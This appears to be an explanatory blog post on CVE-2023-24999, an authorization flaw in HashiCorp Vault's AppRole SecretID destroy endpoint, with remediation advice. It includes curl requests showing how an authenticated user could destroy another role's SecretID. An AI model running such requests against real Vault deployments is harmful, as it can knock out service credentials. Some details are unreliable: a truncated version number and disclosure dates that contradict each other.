CVE-2023-24999 - Critical Bug in HashiCorp Vault’s AppRole Destroy Endpoint Explained

On April 12, 2023, a serious vulnerability was disclosed in HashiCorp Vault and Vault Enterprise. The bug, tracked as CVE-2023-24999, exposes a weakness in the popular AppRole authentication method. Any authenticated user with access to the destroy endpoint could delete, or “destroy,” *any* AppRole SecretID—just by knowing its “secret ID accessor.”

That’s a big deal. AppRoles are often automated accounts for CI/CD, bots, and apps. Losing one’s SecretID can halt service or open doors to denial-of-service or privilege escalation attacks.

In this post, we'll break down how the bug works, walk through a code demonstration, and highlight how to stay protected. We'll speak in plain English, aiming to explain the issue so you’ll truly understand how risky it was and why it matters.

The Vulnerability: What Went Wrong

The AppRole authentication backend allows roles to have “Secret IDs” used to log into Vault for obtaining secrets. Each SecretID gets an “accessor”—a kind of ID that can be used to reference it without knowing the actual secret.

While the API *should* let only the *owner* role manage (destroy) its own SecretIDs, versions prior to the following failed to check if the user had permissions on the target AppRole. All it needed was an accessor, which is much less protected:

| Vault Version Fixed |
|--------------------|
| 1.13.             |
| 1.12.4             |
| 1.11.8             |
| 1.10.11            |

If you had API access and a SecretID accessor (even from a totally different AppRole), you could *delete* someone else’s SecretID.

References

- HashiCorp Security Advisory
- NVD CVE-2023-24999

Suppose you have access to your own AppRole. You can easily request a SecretID and get its accessor

curl \
  --header "X-Vault-Token: $VAULT_TOKEN" \
  --request POST \
  https://vault-server/v1/auth/approle/role/my-role/secret-id

Response

{
  "data": {
    "secret_id": "s.xxxxxxxx",
    "secret_id_accessor": "789712ce-346e-1234-f410-849ef5cxxx"
  }
}

Step 2: Use Someone Else’s SecretID Accessor (Attack)

Now imagine you somehow got the *accessor* for a SecretID from another AppRole (via access logs, leaks, or misconfiguration).

Normally, you shouldn't be able to destroy it. But before the patch, *any* authenticated user could send:

curl \
  --header "X-Vault-Token: $VAULT_TOKEN" \
  --request POST \
  --data '{"secret_id_accessor": "789712ce-346e-1234-f410-849ef5cxxx"}' \
  https://vault-server/v1/auth/approle/role/any-other-role/secret-id/destroy

Outcome:
Vault would *destroy* the SecretID—not just for your role, but for whichever one the accessor belonged to.

Why is This Dangerous?

- Denial of Service: If used against automation or service accounts, revoked SecretIDs would result in system outages.
- Privilege Escalation: Attackers could deny or rotate critical credentials, possibly opening windows for further attacks.

Official Fix

HashiCorp fixed the issue by checking if the token requesting a destroy *actually has access* to the related AppRole and SecretID. No more cross-role actions!

Vault Enterprise: Same versions as above

Changelog Reference:  
See GitHub commit for technical details.

Audit SecretID Accessors.

Review access logs for unusual use of /secret-id/destroy APIs.

Conclusion

CVE-2023-24999 is a clear example of how overlooked authorization checks can lead to serious privilege escalation. Even if your Vault isn’t publicly exposed, this bug could have serious impact inside organizations.

Restrict access to sensitive APIs.

- Monitor and audit Vault activities—because sometimes, all it takes is a single overlooked endpoint for big damage.

Further Reading:  
- HashiCorp Vault Security Releases
- Vault AppRole Auth Method
- NVD official CVE-2023-24999

> Stay safe, vault your secrets tightly, and never underestimate the potential of API endpoint vulnerabilities!

Timeline

Published on: 03/11/2023 00:15:00 UTC
Last modified on: 05/05/2023 20:15:00 UTC